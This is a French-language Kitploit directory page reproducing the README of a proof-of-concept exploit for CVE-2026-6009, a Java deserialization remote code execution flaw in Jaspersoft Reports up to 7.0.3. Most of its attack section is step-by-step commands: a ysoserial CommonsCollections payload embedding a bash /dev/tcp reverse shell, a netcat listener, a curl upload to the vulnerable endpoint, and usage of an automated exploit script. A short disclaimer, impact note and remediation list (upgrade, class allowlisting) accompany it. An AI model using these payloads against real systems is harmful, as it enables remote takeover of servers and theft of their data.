Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-6009 — Exploit de PoC automatisé pour CVE-2026-6009, une RCE par désérialisation Java dans Jaspersoft Reports <=7.0.3. Génère des payloads malveillants .jasper via ysoserial et délivre un reverse shell via le point de téléversement de fichiers. | Kitploit
Outils/GitHubGitHub/pumila03/cve-2026-6009
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationOutil d'Accès à Distance
GitHubpumila03/cve-2026-6009

CVE-2026-6009

Exploit de PoC automatisé pour CVE-2026-6009, une RCE par désérialisation Java dans Jaspersoft Reports <=7.0.3. Génère des payloads malveillants .jasper via ysoserial et délivre un reverse shell via le point de téléversement de fichiers.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

⚠️ Avertissement : Ce dépôt est destiné à des fins éducatives et à des tests de sécurité autorisés uniquement. Ne pas utiliser contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite explicite.

CVE-2026-6009

Preuve de concept

Résumé

La bibliothèque de rapports Jaspersoft version <= 7.0.3 est vulnérable à une exécution de code à distance (RCE) en exploitant le flux de désérialisation Java. Cette vulnérabilité permet à un attaquant d'établir une connexion avec un shell inversé sur le système utilisant cette version de la bibliothèque.

  • Bibliothèque : Jaspersoft report
  • Version affectée : <= 7.0.3
  • Type de vulnérabilité : RCE via désérialisation Java
  • CVE-2026-6009
  • Score CVSS : 8.7 (Élevé)
  • Date : 19/05/2026

Description de la vulnérabilité

Pour transmettre des données, certains systèmes doivent convertir un objet dans un format transmissible spécifique, c'est la sérialisation. La désérialisation est l'opération inverse. En Java, le mécanisme vulnérable se trouve dans ObjectInputStream.readObject() qui est utilisé pour désérialiser n'importe quel objet à partir d'un flux d'entrée. Étant donné que utilise cette méthode pour lire les fichiers de rapport dans la bibliothèque Jaspersoft, c'est un point d'entrée dangereux pour injecter du code malveillant.

JRLoader.loadObject()
.jasper

readObject() seul ne suffit pas à déclencher du code. Cela ne fonctionne que sur des classes connues exploitables. Les attaquants utilisent donc des chaînes de gadgets connues telles que CommonCollection pour exécuter leurs charges utiles.

Environnement

Pour pouvoir réaliser une preuve de concept (PoC), j'ai créé un laboratoire sur une machine Parrot avec un serveur Web Java utilisant la bibliothèque Jaspersoft Report :

OS : Parrot OS 7 GNU/Linux Framework : Spring Boot version 2.7.18 Dépendance : Jasperreports version 7.0.3 Environnement : Java 11 Compilateur : Maven

Exemple de code vulnérable :

root@kitploit:~
@PostMapping("/upload-report")
    public String uploadReport(@RequestParam("file") MultipartFile file) {
        try {
            InputStream is = file.getInputStream();

            // ObjectInputStream.readObject() appelé en interne par JRLoader
            JasperReport report = (JasperReport) JRLoader.loadObject(is);
            ...

Étapes pour reproduire

  1. Analyse

Pour la première étape, une fois que vous savez que votre système cible utilise une version vulnérable de Jasperreport, vous devez trouver l'endroit exact où la cible recevra le fichier jasper.

Dans cet environnement, c'est http://localhost:8080/upload-report

  1. Vérification de la vulnérabilité

Ensuite, vous devez trouver un moyen de découvrir quelle classe peut être utilisée comme chaîne de gadgets dans le système cible. Vous pouvez aussi en essayer quelques-unes et voir laquelle déclenche le système.

Dans un contexte boîte blanche, nous pouvons chercher cette information nous-mêmes :

root@kitploit:~
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"

Nous constatons que le système utilise CommonsCollections.

  1. Génération de la charge utile

Pour CommonsCollections, utilisez le script ysoserial pour générer la charge utile souhaitée. Ici, créez un shell inversé :

root@kitploit:~
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper

Vous devrez probablement tester plusieurs versions de CommonCollections pour exécuter la charge utile.

  1. Préparation de l'exploit

Afin d'établir une connexion shell inversé, nous devons écouter sur un port pour recevoir la connexion du système cible initiée par la charge utile :

root@kitploit:~
nc -lnvp 4444
  1. Exploitation

Enfin, il suffit d'envoyer la charge utile que vous avez créée à l'emplacement trouvé et de vérifier votre port pour confirmer que la connexion a été établie depuis le système cible :

root@kitploit:~
curl -X POST http://localhost:8080/upload-report -F "[email protected]"

Impact

Un attaquant ayant accès au point de terminaison pourrait exécuter du code arbitraire avec les privilèges du serveur, ce qui pourrait entraîner une compromission complète du système.

Recommandations de correction

  • Mettre à jour JasperReports vers la version 7.0.4+
  • Ne jamais désérialiser des fichiers .jasper provenant de sources inconnues
  • Implémenter une liste blanche pour les classes autorisées

Script

Description

exploit.py est un script automatisé pour reproduire l'exploitation de la vulnérabilité CVE-2026-6009.

Utilisation

root@kitploit:~
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444

Options

DrapeauDescription
-t, --targetEmplacement où télécharger le fichier .jasper
-s, --sourceVotre adresse IP
-p, --portLe port auquel le shell inversé doit se connecter
Télécharger l’outil